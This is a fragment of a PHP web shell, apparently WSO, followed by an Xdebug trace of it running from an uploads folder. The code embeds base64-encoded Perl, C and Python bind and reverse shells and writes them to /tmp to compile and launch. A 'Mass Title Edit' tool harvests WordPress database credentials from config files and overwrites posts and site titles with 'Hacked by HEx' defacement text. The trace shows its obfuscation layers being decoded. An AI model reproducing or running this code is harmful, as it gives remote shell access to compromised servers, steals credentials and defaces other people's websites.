cy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";
        $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
        echo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpp'>Perl</option><option value='bpc'>C</option></select></label> <input type=submit value='submit'>\r\n\t</form><br>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='21'> Using: <label><select name='using'><option value='bcpy'>Python</option><option value='bcp'>Perl</option><option value='bcc'>C</option></select></label> <input type=submit value='submit'><br><br><br>\r\n\t</form><br>";
        if (isset($_POST['p1'])) {
            function cf($f, $t)
            {
                $w = @fopen($f, "w") or @function_exists('file_put_contents');
                if ($w) {
                    @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                    @fclose($w);
                }
            }
            if ($_POST['p1'] == 'bpc') {
                cf("/tmp/bp.c", $bind_port_c);
                $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
                @unlink("/tmp/bp.c");
                $▖ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp") . "</pre>";
            }
            if ($_POST['p1'] == 'bpp') {
                cf("/tmp/bp.pl", $bind_port_p);
                $▖ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp.pl") . "</pre>";
            }
            if ($_POST['p1'] == 'bcc') {
                cf("/tmp/bc.c", $back_connect_c);
                $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
                @unlink("/tmp/bc.c");
                $▖ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc") . "</pre>";
            }
            if ($_POST['p1'] == 'bcp') {
                cf("/tmp/bc.pl", $back_connect_p);
                $▖ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.pl") . "</pre>";
            }
            if ($_POST['p1'] == 'bcpy') {
                cf("/tmp/bc.py", $back_connect_p);
                $▖ = ex(which("perl") . " /tmp/bc.py " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.py") . "</pre>";
            }
        }
        echo "</div>";
        hardFooter();
    }
    // Back Connect Section END
    function actionMassuser()
    {
        hardHeader();
        echo "<center><h1>Mass Title Edit</h1><div class=content><br>";
        $cgi_dir = mkdir('hex_tools', 0755);
        chdir('hex_tools');
        $file_mass = "title.php";
        $mass_script = "PD9wSHAKZWNobyI8aHRtbD4KPGhlYWQ+CjxzdHlsZT4KaHRtbCB7Cgpjb2xvcjogd2hpdGU7Cn0KaW5wdXRbdHlwZT10ZXh0XSxpbnB1dFt0eXBlPXN1Ym1pdF0gewpiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgCmNvbG9yOndoaXRlOwptYXJnaW46MCAxMHB4Owpmb250LWZhbWlseTpIb21lbmFqZTsKZm9udC1zaXplOjEzcHg7CmJvcmRlcjoycHggc29saWQgIzJkMmIyYjsKfQp0ZXh0YXJlYXsKYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKYm9yZGVyOiAxcHggc29saWQgIzJkMmIyYjsKd2lkdGg6IDEwMCU7CmhlaWdodDogNDAwcHg7CnBhZGRpbmctbGVmdDogNXB4OwptYXJnaW46IDEwcHggYXV0bzsKZm9udC1mYW1pbHk6SG9tZW5hamU7CmNvbG9yOiAjZmZmZmZmOwpmb250LXNpemU6MTNweDsKfQo8L3N0eWxlPiI7CgplcnJvcl9yZXBvcnRpbmcoMCk7CnNldF90aW1lX2xpbWl0KDApOwpAY2xlYXJzdGF0Y2FjaGUoKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CmlmKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSl7CiAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZnVuY3Rpb24gR3JhYlVybCgkdXJsLCR0eXBlKXsKCiAgICAgICAgJHVybEFycmF5ID0gYXJyYXkoKTsKCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CgogICAgICAgICRyZWdleD0nfDxhLio/aHJlZj0iKC4qPykifCc7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHJlZ2V4LCRyZXN1bHQsJHBhcnRzKTsKICAgICAgICAkbGlua3M9JHBhcnRzWzFdOwogICAgICAgIGZvcmVhY2goJGxpbmtzIGFzICRsaW5rKXsKICAgICAgICAgICAgYXJyYXlfcHVzaCgkdXJsQXJyYXksICRsaW5rKTsKICAgICAgICB9CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwoKICAgICAgICBmb3JlYWNoKCR1cmxBcnJheSBhcyAkdmFsdWUpewogICAgICAgICAgICAkbG9sPSIkdXJsJHZhbHVlIjsKCQkJaWYocHJlZ19tYXRjaCgiIyR0eXBlI2lzIiwgJGxvbCkpIHsKCQkJCWVjaG8gIiRsb2xcclxuIjsKCQkJfQogICAgICAgIH0KfQpmdW5jdGlvbiBhbWJpbEthdGEoJHBhcmFtLCAka2F0YTEsICRrYXRhMil7CiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOwogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsKICAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsKICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7CiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsKICAgIHJldHVybiAkcmV0dXJuOwp9CmVjaG8gIjxjZW50ZXI+Cjxmb3JtIG1ldGhvZD0ncG9zdCc+CkxpbmsgQ29uZmlnOiA8YnI+CjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdsaW5rY29uZicgaGVpZ2h0PScxMCcgc2l6ZT0nNTAnIHBsYWNlaG9sZGVyPSdodHRwOi8vdXJsLmNvbS9wcHFfc3ltY29uZmlnLyc+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgbmFtZT0nZ2FzcycgdmFsdWU9J1N1Ym1pdCEhJz4KPC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnZ2FzcyddKSB7CgllY2hvICI8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9J3Bvc3QnPgpMaW5rIENvbmZpZzogPGJyPgo8dGV4dGFyZWEgbmFtZT0nbGluayc+IjsKR3JhYlVybCgkX1BPU1RbJ2xpbmtjb25mJ10sJ3dvcmRwcmVzcycpOwkKZWNobyI8L3RleHRhcmVhPgoKCTxicj48ZGl2IGRhdGEtcm9sZSA9ICdmaWVsZGNvbnRhaW4nIGNsYXNzID0gJ3VpLWhpZGUtbGFiZWwnIHN0eWxlPSdmbG9hdDpsZWZ0Jz4KICAgICAgICAgICAgPGxhYmVsIGZvcj0nbmFtZSc+SUQ6IDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduYW1lJyBpZD0naWQnIHZhbHVlPScxJy8+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gVElUTEU6IDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0aXRsZScgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgQnkgSEV4JyAvPgogICAgICAgIDwvZGl2PgoJCSAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gUE9TVCBDT05URU5UOiA8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY29udGVudCcgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgYnkgSEV4IHwgV2UgQXJlIFBha2lzdGFuaSBIYWNrZXJzIC0sLSBGdWNrIFlvdSBBZG1pbicgLz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGRhdGEtcm9sZSA9J2ZpZWxkY29udGFpbicgY2xhc3M9ICd1aS1oaWRlLWxhYmVsJyBzdHlsZT0nZmxvYXQ6bGVmdCc+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9J3N1cm5hbWUnPiBQT1NUTkFNRTogPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bvc3RuYW1lJyBpZD0nc3VybmFtZScgdmFsdWU9J0hhY2tlZCBieSBIRXgnIC8+CiAgICAgICAgPC9kaXY+IDxicj4KCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBuYW1lPSdlZGl0dGl0bGUnIHZhbHVlPSdTdWJtaXQhISc+CjwvZm9ybT48L2NlbnRlcj4iOwp9CmlmKCRfUE9TVFsnZWRpdHRpdGxlJ10pIHsKCSAgICAgICAgJHRpdGxlID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3RpdGxlJ10pOwogICAgICAgICAgICAgICAgJGlkID0gJF9QT1NUWydpZCddOwogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2NvbnRlbnQnXTsKICAgICAgICAgICAgICAgICRwb3N0bmFtZSA9ICRfUE9TVFsnbmFtZSddOwoJCWZ1bmN0aW9uIGFudWN1cmwoJHNpdGVzKSB7CiAgICAJCSRjaCA9IGN1cmxfaW5pdCgkc2l0ZXMpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTix0cnVlKTsKCQkJJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKCQkJCSAgY3VybF9jbG9zZSgkY2gpOwoJCQlyZXR1cm4gJGRhdGE7CgkJfQoJCSRsaW5rID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsnbGluayddKTsKCQlmb3JlYWNoKCRsaW5rIGFzICRkaXJfY29uZmlnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbmZpZyA9IGFudWN1cmwoJGRpcl9jb25maWcpOwoJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9IT1NUJywgJyIsIiciKTsKCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfVVNFUicsICciLCInIik7CgkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsKCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfTkFNRScsICciLCInIik7CgkJCQkkZGJwcmVmaXggPSBhbWJpbGthdGEoJGNvbmZpZywidGFibGVfcHJlZml4ICA9ICciLCInIik7CgkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJwb3N0cyI7CgkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJvcHRpb25zIjsKCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7CgkJCQkkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7CgkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgSUQgQVNDIik7CgkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOwoJCQkJJGlkID0gJHJlc3VsdFtJRF07CgkJCQkkcTIgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkb3B0aW9uIE9SREVSIEJZIG9wdGlvbl9pZCBBU0MiKTsKCQkJCSRyZXN1bHQyID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEyKTsKCQkJCSR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOwoJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgcG9zdF90aXRsZT0nJHRpdGxlJyxwb3N0X2NvbnRlbnQ9JyRjb250ZW50Jyxwb3N0X25hbWU9JyRwb3N0bmFtZScscG9zdF9zdGF0dXM9J3B1Ymxpc2gnLGNvbW1lbnRfc3RhdHVzPSdvcGVuJyxwaW5nX3N0YXR1cz0nb3BlbicscG9zdF90eXBlPSdwb3N0Jyxjb21tZW50X2NvdW50PScxJyBXSEVSRSBpZD0nJGlkJyIpOwoJCQkJJHVwZGF0ZSAuPSBteXNxbF9xdWVyeSgiVVBEQVRFICRvcHRpb24gU0VUIG9wdGlvbl92YWx1ZT0nJHRpdGxlJyBXSEVSRSBvcHRpb25fbmFtZT0nYmxvZ25hbWUnIE9SIG9wdGlvbl9uYW1lPSdibG9nZGVzY3JpcHRpb24nIik7CgkJCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyc+IjsKCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsKCQkJCQllY2hvICJVUkw6IDxmb250IGNvbG9yPXdoaXRlPkVycm9yLCBJIGNhbid0IHRha2UgdGhlIGRvbWFpbiBuYW1lPC9mb250PiAtPiAiOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICJVUkw6IDxhIGhyZWY9JyR0YXJnZXQvP3A9JGlkJyB0YXJnZXQ9J19ibGFuayc+JHRhcmdldC8/cD0kaWQ8L2E+IC0+ICI7CgkJCQl9CgkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYikgewoJCQkJCWVjaG8gIjxmb250IGNvbG9yPXdoaXRlPk15U1FMIEVycm9yOiAiLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI+IjsKCQkJCX0gZWxzZSB7CgkJCQkJZWNobyAiPGZvbnQgY29sb3I9b3JhbmdlPkNoYW5nZWQgU3VjY2VlZC48L2ZvbnQ+PGJyPiI7CgkJCQl9CgkJCQllY2hvICI8L2Rpdj4iOwoJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOwoJCQl9CgkJfQo/Pgo=";
        $mass = fopen($file_mass, "w");
        fwrite($mass, "<?pHp\necho\"<html>\n<head>\n<style>\nhtml {\n\ncolor: white;\n}\ninput[type=text],input[type=submit] {\nbackground: transparent; \ncolor:white;\nmargin:0 10px;\nfont-family:Homenaje;\nfont-size:13px;\nborder:2px solid #2d2b2b;\n}\ntextarea{\nbackground:transparent;\nborder: 1px solid #2d2b2b;\nwidth: 100%;\nheight: 400px;\npadding-left: 5px;\nmargin: 10px auto;\nfont-family:Homenaje;\ncolor: #ffffff;\nfont-size:13px;\n}\n</style>\";\n\nerror_reporting(0);\nset_time_limit(0);\n@clearstatcache();\n@ini_set('error_log',NULL);\n@ini_set('log_errors',0);\n@ini_set('max_execution_time',0);\n@ini_set('output_buffering',0);\n@ini_set('display_errors', 0);\nif(version_compare(PHP_VERSION, '5.3.0', '<')){\n    set_magic_quotes_runtime(0);\n}\nfunction GrabUrl(\$url,\$type){\n\n        \$urlArray = array();\n\n        \$ch = curl_init();\n        curl_setopt(\$ch, CURLOPT_URL, \$url);\n        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);\n        \$result = curl_exec(\$ch);\n\n        \$regex='|<a.*?href=\"(.*?)\"|';\n        preg_match_all(\$regex,\$result,\$parts);\n        \$links=\$parts[1];\n        foreach(\$links as \$link){\n            array_push(\$urlArray, \$link);\n        }\n        curl_close(\$ch);\n\n        foreach(\$urlArray as \$value){\n            \$lol=\"\$url\$value\";\n\t\t\tif(preg_match(\"#\$type#is\", \$lol)) {\n\t\t\t\techo \"\$lol\\r\\n\";\n\t\t\t}\n        }\n}\nfunction ambilKata(\$param, \$kata1, \$kata2){\n    if(strpos(\$param, \$kata1) === FALSE) return FALSE;\n    if(strpos(\$param, \$kata2) === FALSE) return FALSE;\n    \$start = strpos(\$param, \$kata1) + strlen(\$kata1);\n    \$end = strpos(\$param, \$kata2, \$start);\n    \$return = substr(\$param, \$start, \$end - \$start);\n    return \$return;\n}\necho \"<center>\n<form method='post'>\nLink Config: <br>\n<input type='text' name='linkconf' height='10' size='50' placeholder='http://url.com/ppq_symconfig/'><br>\n<input type='submit' style='width: 450px;' name='gass' value='Submit!!'>\n</form></center>\";\nif(\$_POST['gass']) {\n\techo \"<center>\n<form method='post'>\nLink Config: <br>\n<textarea name='link'>\";\nGrabUrl(\$_POST['linkconf'],'wordpress');\t\necho\"</textarea>\n\n\t<br><div data-role = 'fieldcontain' class = 'ui-hide-label' style='float:left'>\n            <label for='name'>ID: </label>\n            <input type='text' name='name' id='id' value='1'/>\n        </div>\n        <div data-role ='fieldcontain' class= 'ui-hide-label' style='float:left'>\n            <label for='surname'> TITLE: </label>\n            <input type='text' name='title' id='surname' value='Hacked By HEx' />\n        </div>\n\t\t        <div data-role ='fieldcontain' class= 'ui-hide-label' style='float:left'>\n            <label for='surname'> POST CONTENT: </label>\n            <input type='text' name='content' id='surname' value='Hacked by HEx | We Are Pakistani Hackers -,- Fuck You Admin' />\n        </div>\n        <div data-role ='fieldcontain' class= 'ui-hide-label' style='float:left'>\n            <label for='surname'> POSTNAME: </label>\n            <input type='text' name='postname' id='surname' value='Hacked by HEx' />\n        </div> <br>\n\n<input type='submit' style='width: 450px;' name='edittitle' value='Submit!!'>\n</form></center>\";\n}\nif(\$_POST['edittitle']) {\n\t        \$title = htmlspecialchars(\$_POST['title']);\n                \$id = \$_POST['id'];\n                \$content = \$_POST['content'];\n                \$postname = \$_POST['name'];\n\t\tfunction anucurl(\$sites) {\n    \t\t\$ch = curl_init(\$sites);\n\t       \t\t  curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\n\t       \t\t  curl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\n\t       \t\t  curl_setopt(\$ch, CURLOPT_USERAGENT, \"Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0\");\n\t       \t\t  curl_setopt(\$ch, CURLOPT_CONNECTTIMEOUT, 5);\n\t       \t\t  curl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, 0);\n\t       \t\t  curl_setopt(\$ch, CURLOPT_SSL_VERIFYHOST, 0);\n\t       \t\t  curl_setopt(\$ch, CURLOPT_COOKIEJAR,'cookie.txt');\n\t       \t\t  curl_setopt(\$ch, CURLOPT_COOKIEFILE,'cookie.txt');\n\t       \t\t  curl_setopt(\$ch, CURLOPT_COOKIESESSION,true);\n\t\t\t\$data = curl_exec(\$ch);\n\t\t\t\t  curl_close(\$ch);\n\t\t\treturn \$data;\n\t\t}\n\t\t\$link = explode(\"\\r\\n\", \$_POST['link']);\n\t\tforeach(\$link as \$dir_config) {\n                                \$config = anucurl(\$dir_config);\n\t\t\t\t\$dbhost = ambilkata(\$config,\"DB_HOST', '\",\"'\");\n\t\t\t\t\$dbuser = ambilkata(\$config,\"DB_USER', '\",\"'\");\n\t\t\t\t\$dbpass = ambilkata(\$config,\"DB_PASSWORD', '\",\"'\");\n\t\t\t\t\$dbname = ambilkata(\$config,\"DB_NAME', '\",\"'\");\n\t\t\t\t\$dbprefix = ambilkata(\$config,\"table_prefix  = '\",\"'\");\n\t\t\t\t\$prefix = \$dbprefix.\"posts\";\n\t\t\t\t\$option = \$dbprefix.\"options\";\n\t\t\t\t\$conn = mysql_connect(\$dbhost,\$dbuser,\$dbpass);\n\t\t\t\t\$db = mysql_select_db(\$dbname);\n\t\t\t\t\$q = mysql_query(\"SELECT * FROM \$prefix ORDER BY ID ASC\");\n\t\t\t\t\$result = mysql_fetch_array(\$q);\n\t\t\t\t\$id = \$result[ID];\n\t\t\t\t\$q2 = mysql_query(\"SELECT * FROM \$option ORDER BY option_id ASC\");\n\t\t\t\t\$result2 = mysql_fetch_array(\$q2);\n\t\t\t\t\$target = \$result2[option_value];\n\t\t\t\t\$update = mysql_query(\"UPDATE \$prefix SET post_title='\$title',post_content='\$content',post_name='\$postname',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='\$id'\");\n\t\t\t\t\$update .= mysql_query(\"UPDATE \$option SET option_value='\$title' WHERE option_name='blogname' OR option_name='blogdescription'\");\n\t\t\t\techo \"<div style='margin: 5px auto;'>\";\n\t\t\t\tif(\$target == '') {\n\t\t\t\t\techo \"URL: <font color=white>Error, I can't take the domain name</font> -> \";\n\t\t\t\t} else {\n\t\t\t\t\techo \"URL: <a href='\$target/?p=\$id' target='_blank'>\$target/?p=\$id</a> -> \";\n\t\t\t\t}\n\t\t\t\tif(!\$update OR !\$conn OR !\$db) {\n\t\t\t\t\techo \"<font color=white>MySQL Error: \".mysql_error().\"</font><br>\";\n\t\t\t\t} else {\n\t\t\t\t\techo \"<font color=orange>Changed Succeed.</font><br>\";\n\t\t\t\t}\n\t\t\t\techo \"</div>\";\n\t\t\t\tmysql_close(\$conn);\n\t\t\t}\n\t\t}\n?>\n");
        echo "<br><center> <iframe src='hex_tools/title.php' width='950' height='600'></iframe></a>";
        echo "</div>";
        hardFooter();
    }
    // xd
    if (empty($_POST['a'])) {
        if (isset($▚) && function_exists('action' . $▚)) {
            $_POST['a'] = $▚;
        } else {
            $_POST['a'] = 'FilesMan';
        }
    }
    if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
        call_user_func('action' . $_POST['a']);
    }
};

Execution traces

data/traces/daa387fbc0345a8fa7375832d46d9b7c_trace-1676247507.8662.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:18:53.764056]
1	0	1	0.000136	393512
1	3	0	0.000440	494128	{main}	1		/var/www/html/uploads/wso.php	0	0
1		A						/var/www/html/uploads/wso.php	4	$â–› = ''
2	4	0	0.000470	494128	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'c3RyX3JvdDEz'
2	4	1	0.000486	494200
2	4	R			'str_rot13'
1		A						/var/www/html/uploads/wso.php	5	$wz0 = 'str_rot13'
2	5	0	0.000511	494168	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'Z3ppbmZsYXRl'
2	5	1	0.000524	494240
2	5	R			'gzinflate'
1		A						/var/www/html/uploads/wso.php	5	$jn1 = 'gzinflate'
2	6	0	0.000548	494208	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'c3RyX3JvdDEz'
2	6	1	0.000562	494280
2	6	R			'str_rot13'
1		A						/var/www/html/uploads/wso.php	5	$nj2 = 'str_rot13'
2	7	0	0.000586	494248	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'YmFzZTY0X2RlY29kZQ=='
2	7	1	0.000600	494328
2	7	R			'base64_decode'
1		A						/var/www/html/uploads/wso.php	5	$gw3 = 'base64_decode'
2	8	0	0.000624	494296	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'N1Azcmt1SlZ0aWdNL3E1d3R0K0JpczdkY2U3SWpKQzRVUWFabFV3dEFnbFdJTzRnb0twQm1pQzVnNUFJRUpLNjYrODh3ckdaT1hEMjJUekR2TWc4dzJ5U1RNdmRhQU1pTXFxNmF0VSszemRNVXdWVmZ2ZG85K1Y0L2R0Lys1dHdPRittdTlucjlHRXlHVnErYTZOOStucFhrQWVETngvL0xmWVdubjhoSmFid21saSs4ODNWbDkxM2RNMTB6c2o0TW1iODNXeVowWHcybnMrK2VlZVBqN3VKY096UFdOak9aK3laNjVOZVh2MnYvL0YvUW4xWHpTYnpIZjMxLzRKZmRybmNmbXFmcGcvK24vaWc3V3U3NmRBMDJMUC9Cenp6N2Z6clNsK2tscWkweEovUzNXWDU0WXNNdjc3VU9pMmhuUDRGRzJvZVJxKy9hcWJZL2FzdmpXK3gzM2o5WjZGTnR5aHVoWnNyYXJlKyt1WE5tOVRmLysyL2ZUZWVqSE9q'
2	8	1	0.000929	592632
